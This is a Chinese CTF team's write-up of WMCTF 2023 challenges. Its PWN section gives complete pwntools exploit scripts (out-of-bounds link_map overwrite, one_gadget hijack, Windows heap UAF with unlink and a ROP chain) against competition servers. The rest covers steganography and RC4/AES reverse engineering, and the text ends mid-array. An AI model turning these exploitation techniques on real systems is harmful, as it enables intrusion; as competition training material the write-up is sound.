本次 WMCTF 2023,我们Polaris战队排名第9。
PWN
01
blindless
直接给了后门
int __cdecl backdoor()
{
return system("cat /flag");
}
executeBrainfuck 函数没有越界检查
可以向后越界。
int __cdecl executeBrainfuck(char *code)
{
_BYTE c[5]; // [rsp+13h] [rbp-5h]
c[4] = 0;
*(_DWORD *)c = (unsigned __int8)*code;
while ( *(int *)&c[1] <= 255 )
{
if ( c[0] == 0x71 )
return 0;
if ( c[0] <= 113 )
{
if ( c[0] == 0x40 )
{
data += *(unsigned int *)&code[*(int *)&c[1] + 1];
*(_DWORD *)&c[1] += 5;
}
else if ( c[0] <= 64 )
{
if ( c[0] == 0x3E )
{
++data;
++*(_DWORD *)&c[1];
}
else if ( c[0] <= 62 )
{
if ( c[0] == 43 )
{
data += 8;
++*(_DWORD *)&c[1];
}
else if ( c[0] == 0x2E )
{
*data = code[*(int *)&c[1] + 1];
*(_DWORD *)&c[1] += 2;
}
}
}
}
c[0] = code[*(int *)&c[1]];
}
return 0;
}
打dl的link_map改偏移到后门函数即可
利用脚本如下:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
while(True):
sh = remote('1.13.101.243', 28502)
sh.sendlineafter(b'sizen', str(0x60000).encode())
sh.sendlineafter(b'sizen', str(0x100).encode())
payload = b''
payload += p8(0x40) + p32(0x286180-0x2000)
payload += p8(0x2e) + p8(0xb1)
payload += p8(0x40) + p32(1)
payload += p8(0x2e) + p8(0x3c)
payload += p8(0x40) + p32(0x11f)
payload += p8(0x2e) + p8(0x98)
payload += p8(0x71)
sh.sendafter(b'coden', payload)
result = sh.recvrepeat(1)
if result:
print(result)
exit(0)
sh.close()
可以断在下面两个地址查看调用情况:
b *{address('ld')+0x11f3b}
b *{address('ld')+0x11f84}
02
jit
题目会把我们输入的内容翻译成汇编代码
输入的每条代码长度为8字节
每条代码的信息布局如下:
p8(指令), p8(寄存器), p16(偏移), p32(立即数)
程序只做转译,不做保护,所以可以根据转译规则编写利用代码,转译规则部分在地址 0x5A50 处,进入执行体执行的指令在 0x2947。
对不同版本的libc进行测试,测出libc版本
然后使用one_gadget来劫持栈上的返回地址。
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('1.13.101.243', 28474)
Program =
[
p8(0+4), p8(0), p16(0), p32(0xffab8069+0xbfa98),
p8(0x5f+4), p8(10), p16(0x138), p32(0),
]
sh.sendafter(b'Program: ', binascii.b2a_hex(flat(Program)) + b'n')
Memory =
[
0x62,
]
sh.sendafter(b'Memory: ', binascii.b2a_hex(flat(Memory)) + b'n')
sh.interactive()
03
roguegate
地址 0x140008800 处有验证检查,该验证的加密函数在 sub_1400084E0,第一个参数是输出变量,第二个参数是输入变量。开始时会随机生成字符串并将生成的字符串用 sub_1400084E0 处理得到结果数据。随后用户输入,输入之后会使用用户输入的内容再次调用 sub_1400084E0 进行处理,得到待验证数据。要求两次处理的结果一致,也就是要用户输入第一次随机生成的字符串。
根据验证逻辑进行爆破:
size_t get_high_value_from_mul(size_t x, size_t y)
{
unsigned char value[sizeof(void *) * 4] = {0}, *ptr;
unsigned char x_c[sizeof(void *)] = {0};
unsigned char y_c[sizeof(void *)] = {0};
size_t temp1, temp2;
unsigned short temp3;
int i, j;
*(size_t*)x_c = x;
*(size_t*)y_c = y;
for(i = 0; i < sizeof(void *); i ++)
{
temp1 = x_c[i];
for(j = 0; j < sizeof(void *); j++)
{
temp2 = temp1 * y_c[j];
ptr = value + i + j;
do
{
temp3 = *(unsigned short*)ptr;
temp2 += temp3;
*(unsigned short*)ptr = temp2;
temp2 = temp2 >> 16;
ptr += 2;
}while(temp2);
}
}
return *(size_t*)(value + sizeof(void *));
}
int main()
{
char table[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
int i, j;
time_t now;
size_t v6, v7;
char output[0x10];
setbuf(stdout, NULL);
now = time(NULL);
for(i = - LENGTH; i < LENGTH; i++)
{
srand(now + i);
memset(output, 0, sizeof(output));
for(j = 0; j < 10; j ++)
{
v6 = rand();
v7 = get_high_value_from_mul(v6, 0x842108421084211);
output[j] = table[v6 - 62 * ((v7 + ((v6 - v7) >> 1)) >> 5)];
}
puts(output);
}
puts("end");
return 0;
}
验证通过后就可以进入
0x140007D90 主逻辑。
主逻辑是传统堆题
直接给了UAF和Heap overflow。
void main_heap()
{
...
case 2:
sub_140009DF0(std::cout, (__int64)"Enter User ID: ");
std::istream::operator>>(std::cin, &v34);
if ( v34 > 0x63 || qword_140013068[2 * (int)v34] != 0x1A1A1A1A1A1A1A1Ai64 )
goto LABEL_22;
v16 = (_BYTE *)qword_140013060[2 * (int)v34];
sub_140009DF0(std::cout, (__int64)"Enter New User Length: ");
std::istream::operator>>(std::cin, &v35);
memset(&v37, 0, sizeof(v37));
v17 = -1i64;
do
++v17;
while ( v16[v17] );
char2string(&v37, v16, v17);
v18 = v37.length + 8; // Heap overflow
v19 = v35;
if ( v37.max_length >= 0x10ui64 )
{
buf = (void *)v37.buf;
if ( (unsigned __int64)(v37.max_length + 1) >= 0x1000 )
{
buf = *(void **)(v37.buf - 8);
if ( (unsigned __int64)(v37.buf - (_QWORD)buf - 8) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
j_j_free(buf);
}
if ( v19 <= v18 )
{
sub_140009DF0(std::cout, (__int64)"Enter New User Name: ");
std::istream::read(std::cin, v16, v35);
}
break;
case 3:
sub_140009DF0(std::cout, (__int64)"Enter User ID: ");
std::istream::operator>>(std::cin, &v34);
if ( v34 <= 0x63 && qword_140013068[2 * (int)v34] == 0x1A1A1A1A1A1A1A1Ai64 )
HeapFree(hHeap, 1u, (LPVOID)qword_140013060[2 * (int)v34]); // UAF
else
LABEL_22:
sub_140009DF0(std::cout, (__int64)"Invalid user ID.n");
break;
case 4:
...
}
泄漏地址的部分在功能5. Into the forest!的内部,具体位置在 1400073D0 处。5. Into the forest!功能提供了一个迷宫游玩功能,当我们处在迷宫的指定位置处后,就能触发后门 1400072A0 从而执行到 1400073D0。触发的具体指令在 140007CE6 (call qword ptr [rax+10h])处。
函数1400073D0会直接给我们程序基地址,随后可以进行 unlink 攻击并获得任意读写权限。
劫持栈执行 WinExec 时
执行失败并返回 367 错误号
查阅文档后知道该错误是 ERROR_CHILD_PROCESS_BLOCKED 错误,
原因是题目调用了
SeTokenIsNoChildProcessRestricted
从而限制了子进程的创建。
所以该题需要使用传统的open|read|write来获取flag。
利用脚本:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='windows', log_level='info')
sh = remote('192.168.223.172', 6666)
keys = sh.recvuntil(b'end', drop=True).split(b'rn')
sh.close()
sh = remote('175.27.236.172', 6789)
sh.recvuntil(b'Enter your answer: ')
result = b''
key_i = 0
while( b'Congratulations' not in result ):
sh.sendline(keys[key_i])
result = sh.recvuntil(b'rn')
key_i += 1
def add(index, content):
sh.sendlineafter(b'please enter : rn', b'1')
sh.sendlineafter(b'Enter User ID:', str(index).encode())
sh.sendlineafter(b'Enter User Name:', content)
def edit(index, size, content):
sh.sendlineafter(b'please enter : rn', b'2')
sh.sendlineafter(b'Enter User ID:', str(index).encode())
sh.sendafter(b'Enter New User Length:', str(size).encode())
sh.sendline(content)
def delete(index):
sh.sendlineafter(b'please enter : rn', b'3')
sh.sendlineafter(b'Enter User ID:', str(index).encode())
def show(index):
sh.sendlineafter(b'please enter : rn', b'4')
sh.sendlineafter(b'Enter User ID:', str(index).encode())
sh.recvuntil(b'name is: ')
add(0, b'a' * 0x17)
add(1, b'a' * 0x17)
add(2, b'a' * 0x17)
add(3, b'a' * 0x17)
add(4, b'a' * 0x17)
add(5, b'a' * 0x17)
delete(2)
delete(4)
sh.sendlineafter(b'please enter : rn', b'5')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'creature?', b'2')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'creature?', b'1')
sh.sendlineafter(b'going ?(y/n)', b'y')
sh.recvuntil(b'for gifts.rn')
image_addr = int(sh.recvuntil(b'rn', drop=True), 16)
success('image_addr: ' + hex(image_addr))
ucrtbase_addr = int(sh.recvuntil(b'rn', drop=True), 16)
success('ucrtbase_addr: ' + hex(ucrtbase_addr))
sh.sendlineafter(b'Enter New User ID: ', str(2).encode())
sh.sendafter(b'Length: ', str(0x10).encode())
sh.sendline(p64(image_addr + 0x13078) + p64(image_addr + 0x13080))
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
delete(1)
edit(2, 8, p64(image_addr + 0x13060))
edit(2, 8, p64(image_addr + 0x14170))
show(0)
heap_addr = u64(sh.recvuntil(b'rn', drop=True).ljust(8, b'0'))
success('heap_addr: ' + hex(heap_addr))
edit(2, 8, p64(heap_addr))
show(0)
heap_addr2 = u64(sh.recvuntil(b'rn', drop=True).ljust(8, b'0'))
success('heap_addr2: ' + hex(heap_addr2))
edit(2, 8, p64(image_addr+0xE010))
show(0)
kernel32_addr = u64(sh.recvuntil(b'rn', drop=True).ljust(8, b'0')) - 0x1010
success('kernel32_addr: ' + hex(kernel32_addr))
edit(2, 8, p64(kernel32_addr+0x79fa0))
show(0)
ntdll_addr = u64(sh.recvuntil(b'rn', drop=True).ljust(8, b'0')) - 0x178d0
success('ntdll_addr: ' + hex(ntdll_addr))
edit(2, 8, p64(image_addr + 0x13080))
edit(0, 8, p64(image_addr + 0x13060-1))
def write(addr, value):
sh.sendlineafter(b'please enter : rn', b'2')
sh.sendlineafter(b'Enter User ID:', str(2).encode())
sh.sendafter(b'Enter New User Length:', str(8).encode())
sh.sendline(b'0' + p64(addr)[:7])
sh.sendlineafter(b'please enter : rn', b'2')
sh.sendlineafter(b'Enter User ID:', str(0).encode())
sh.sendafter(b'Enter New User Length:', str(8).encode())
sh.sendline(p64(value))
def read(addr):
sh.sendlineafter(b'please enter : rn', b'2')
sh.sendlineafter(b'Enter User ID:', str(2).encode())
sh.sendafter(b'Enter New User Length:', str(8).encode())
sh.sendline(b'0' + p64(addr)[:7])
sh.sendlineafter(b'please enter : rn', b'4')
sh.sendlineafter(b'Enter User ID:', str(0).encode())
sh.recvuntil(b'name is: ')
return u64(sh.recvuntil(b'rn', drop=True).ljust(8, b'0'))
peb_addr = read(ntdll_addr + 0x166308) - 0x80
success('peb_addr: ' + hex(peb_addr))
teb_addr = peb_addr + 0x1000
success('teb_addr: ' + hex(teb_addr))
stack_top_addr = (read(teb_addr + 8+2) << 16) - 8
success('stack_top_addr: ' + hex(stack_top_addr))
stack_addr = stack_top_addr
while(True):
tmp = read(stack_addr)
success( hex(stack_addr) + ': ' + hex(tmp))
if tmp == image_addr + 0x916B:
break
stack_addr -= 8
success('offset: ' + hex(stack_top_addr - stack_addr))
write(stack_addr, ntdll_addr+0x9227b)
stack_addr += 8
path = b"flag.txt"
path_i = 0
while(path):
tmp = path[:8].ljust(8, b'0')
write(stack_top_addr-0x38+path_i, u64(tmp))
path = path[8:]
path_i += 8
write(stack_addr, stack_top_addr-0x38)
stack_addr += 8
write(stack_addr, ntdll_addr + 0xb5752)
stack_addr += 8
write(stack_addr, 0) # 1
stack_addr += 8
write(stack_addr, ntdll_addr + 0x106a)
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0xA28C0))
stack_addr += 8
write(stack_addr, ntdll_addr+0x30e93)
stack_addr += 0x50
write(stack_addr, ntdll_addr+0x9227b)
stack_addr += 8
write(stack_addr, 3)
stack_addr += 8
write(stack_addr, ntdll_addr + 0xb5752)
stack_addr += 8
write(stack_addr, stack_top_addr-0x4000)
stack_addr += 8
write(stack_addr, ntdll_addr + 0x643f3)
stack_addr += 8
write(stack_addr, 0x100)
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x15990))
stack_addr += 8
write(stack_addr, ntdll_addr+0x30e93)
stack_addr += 0x50
write(stack_addr, ntdll_addr+0x9227b)
stack_addr += 8
write(stack_addr, 1)
stack_addr += 8
write(stack_addr, ntdll_addr + 0xb5752)
stack_addr += 8
write(stack_addr, stack_top_addr-0x4000)
stack_addr += 8
write(stack_addr, ntdll_addr + 0x643f3)
stack_addr += 8
write(stack_addr, 0x100)
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x15310))
stack_addr += 8
sh.sendlineafter(b'please enter : rn', b'6')
sh.interactive()
STEG
01
StegLab1-PointAttack
Warm_UP
gpt写一个LSB
enc
class Solution:
def Encrypt(self, img, key):
img = Image.open(img)
img_array = np.array(img)
key_binary = ''.join(format(ord(c), '08b') for c in key)
key_len = len(key_binary)
height, width, _ = img_array.shape
max_pixels = height * width * 3
if key_len > max_pixels:
raise ValueError("Image size is not sufficient to hide the key.")
key_index = 0
for i in range(height):
for j in range(width):
for k in range(3):
if key_index < key_len:
img_array[i][j][k] = (img_array[i][j][k] & 0xFE) | int(key_binary[key_index])
key_index += 1
encrypted_img = Image.fromarray(img_array)
return encrypted_img
dec
class Solution:
def Decrypt(self, img) -> str:
img = Image.open(img)
img_array = np.array(img)
height, width, _ = img_array.shape
key_binary = ""
key_index = 0
for i in range(height):
for j in range(width):
for k in range(3):
key_bit = img_array[i][j][k] & 1
key_binary += str(key_bit)
key_index += 1
if key_index >= 80: # 假设密钥长度不超过80位
break
if key_index >= 80:
break
if key_index >= 80:
break
key = ""
for i in range(0, len(key_binary), 8):
key += chr(int(key_binary[i:i+8], 2))
return key
得到
Congratulations
This is Your flag: flag{test_flag}
Random_Point_Attack
经过热身题,熟悉了OJ,发现:
-
与本地测试还是有不小的差距
-
OJ比较认np.array、Image.fromarray来进行数据的读写
读题知道有随机噪音的干扰,朴素的将数据重复三次,然后取出现次数最多的为正确数据即可实现解密
enc
class Solution:
def Encrypt(self, img, key):
img = Image.open(img)
img_array = np.array(img)
key = key + '@'
key_array = np.frombuffer(key.encode(), dtype=np.uint8)
for i in range(len(key_array)):
for j in range(3):
img_array[0, i, j] = key_array[i]
encrypted_img = Image.fromarray(img_array)
return encrypted_img
dec
class Solution:
def Decrypt(self,img)-> str:
img = Image.open(img)
img_array = np.array(img)
data = []
for i in range(10):
for j in range(3):
data.append(img_array[0, i, j])
data = [data[i*3:(i+1)*3] for i in range(len(data)//3)]
def get_num(list1):
num = 0
count = 0
for i in set(list1):
if list1.count(i) > count:
num = i
count = list1.count(i)
return num
key = bytes([get_num(i) for i in data]).split(b'@')[0].decode()
return key
This is Your flag:
wmctf{35dba2e1-cbda-436f-ba82-ebf2e052a9d3}
02
EZ_V1dio
下载得到 avi 音频,尝试分离每一帧
import cv2
import os
if not os.path.exists('frames'):
os.makedirs('frames')
video = cv2.VideoCapture('./flag.avi')
frame_count = 0
while True:
ret, frame = video.read()
if not ret:
break
filename = f'frames/frame_{frame_count}.jpg'
cv2.imwrite(filename, frame)
frame_count += 1
video.release()
在第一帧的R0通道看到 W 字符
分离每一帧的R0通道
import cv2
import os
if not os.path.exists('R0'):
os.makedirs('R0')
video = cv2.VideoCapture('./flag.avi')
frame_count = 0
while True:
ret, frame = video.read()
if not ret:
break
r_channel = frame[:, :, 2] # OpenCV默认通道顺序为BGR,索引2为R通道
r_lowest_bit = r_channel & 1
r_lowest_bit <<= 7
filename = f'R0/frame_{frame_count}.jpg'
cv2.imwrite(filename, r_lowest_bit)
frame_count += 1
video.release()
去除重复后得到
WMCTF{5b658ab9-946c-3869-fc21-6ad99b3bc714}
RE
01
ezAndroid
安卓逆向
分别有两个naticve函数
为checkusername 和 checkpassword
两个native函数在JNIload中动态注册的
并且所有相关的字符串都是动态解密的
所以静态分析看不到有用的信息
同时在init函数组中有一个检测frida的操作
检测name是一个RC4加密
而checkpassword函数的是一个AES加密
但是S盒在动态运行的时候发生了修改
分析完毕后逆向即可
cin = [ 0x6E, 0x61, 0x6D, 0x65, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36]
out=[ 0xD5, 0x93, 0x56, 0xB2, 0x3C, 0x86, 0xEB, 0x94, 0xCD, 0x0C, ]
enc=[ 0xE9, 0x97, 0x64, 0xE6, 0x7E, 0xEB, 0xBD, 0xC1, 0xAB, 0x43]
for i,j,k in zip(cin,out,enc):
print(chr(i^j^k),end='')
#Re_1s_eaSy
from Crypto.Cipher import AES
sbox=[
0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82,
0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2,
0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62,
0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2,
0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42,
0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2,
0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22,
0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92,
0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02,
0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72,
0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2,
0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52,
0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2,
0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32,
0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2,
0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12
]
key =b"Re_1s_eaSy123456"
for i in key:
print(i,end=',')
print()
real = bytes.fromhex("2B C8 20 8B 5C 0D A7 9B 2A 51 3A D2 71 71 CA 50")
for i in real:
print(i,end=',')
print()
def generate_inverse_s_box(s_box):
inverse_s_box = [0] * 256
for i in range(len(s_box)):
inverse_s_box[s_box[i]] = i
return inverse_s_box
iev = generate_inverse_s_box(sbox)
print(iev)
for i in iev:
print(hex(i),end=',')
"_eZ_Rc4_@nd_AES!"
AES解密
unsigned char RoundKey[4*Nb*(Nr+1)]; //轮密钥
unsigned char Key[17]; //密钥
unsigned char state[4][4]; //明文加密状态
//实际上只需要用Rocn[1-10]
int Rcon[255] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,
0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,
0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,
0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,
0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,
0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,
0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,
0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,
0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,
0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,
0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,
0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,
0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,
0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,
0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb
};
//s盒
int SBOX[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82,
0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2,
0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62,
0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2,
0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42,
0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2,
0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22,
0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92,
0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02,
0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72,
0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2,
0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52,
0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2,
0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32,
0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2,
0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12
};
//逆s盒
int R_SBOX[256] ={
0x41,0xe8,0x8f,0x36,0xdd,0x84,0x2b,0xd2,0x79,0x20,0xc7,0x6e,0x15,0xbc,0x63,0xa,0xb1,0x58,0xff,0xa6,0x4d,0xf4,0x9b,0x42,0xe9,0x90,0x37,0xde,0x85,0x2c,0xd3,0x7a,0x21,0xc8,0x6f,0x16,0xbd,0x64,0xb,0xb2,0x59,0x0,0xa7,0x4e,0xf5,0x9c,0x43,0xea,0x91,0x38,0xdf,0x86,0x2d,0xd4,0x7b,0x22,0xc9,0x70,0x17,0xbe,0x65,0xc,0xb3,0x5a,0x1,0xa8,0x4f,0xf6,0x9d,0x44,0xeb,0x92,0x39,0xe0,0x87,0x2e,0xd5,0x7c,0x23,0xca,0x71,0x18,0xbf,0x66,0xd,0xb4,0x5b,0x2,0xa9,0x50,0xf7,0x9e,0x45,0xec,0x93,0x3a,0xe1,0x88,0x2f,0xd6,0x7d,0x24,0xcb,0x72,0x19,0xc0,0x67,0xe,0xb5,0x5c,0x3,0xaa,0x51,0xf8,0x9f,0x46,0xed,0x94,0x3b,0xe2,0x89,0x30,0xd7,0x7e,0x25,0xcc,0x73,0x1a,0xc1,0x68,0xf,0xb6,0x5d,0x4,0xab,0x52,0xf9,0xa0,0x47,0xee,0x95,0x3c,0xe3,0x8a,0x31,0xd8,0x7f,0x26,0xcd,0x74,0x1b,0xc2,0x69,0x10,0xb7,0x5e,0x5,0xac,0x53,0xfa,0xa1,0x48,0xef,0x96,0x3d,0xe4,0x8b,0x32,0xd9,0x80,0x27,0xce,0x75,0x1c,0xc3,0x6a,0x11,0xb8,0x5f,0x6,0xad,0x54,0xfb,0xa2,0x49,0xf0,0x97,0x3e,0xe5,0x8c,0x33,0xda,0x81,0x28,0xcf,0x76,0x1d,0xc4,0x6b,0x12,0xb9,0x60,0x7,0xae,0x55,0xfc,0xa3,0x4a,0xf1,0x98,0x3f,0xe6,0x8d,0x34,0xdb,0x82,0x29,0xd0,0x77,0x1e,0xc5,0x6c,0x13,0xba,0x61,0x8,0xaf,0x56,0xfd,0xa4,0x4b,0xf2,0x99,0x40,0xe7,0x8e,0x35,0xdc,0x83,0x2a,0xd1,0x78,0x1f,0xc6,0x6d,0x14,0xbb,0x62,0x9,0xb0,0x57,0xfe,0xa5,0x4